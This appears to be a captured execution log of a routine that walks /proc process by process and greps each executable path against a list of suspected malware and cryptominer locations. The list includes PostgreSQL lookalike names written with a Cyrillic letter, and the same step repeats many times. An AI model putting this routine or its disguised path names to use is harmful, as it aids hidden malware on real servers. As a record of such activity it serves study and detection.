/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1002]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1026]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1031]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1045]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1051]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1064]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1068]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1070]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1074]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1080]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1088]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1092]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1101]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1116]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1117]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1125]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1129]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1133]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1137]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1141]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1146]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1149]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/115]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1151]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1155]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1157]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1161]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1166]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1169]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1172]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1174]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1177]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1186]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1189]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1190]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1192]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1194]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1199]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

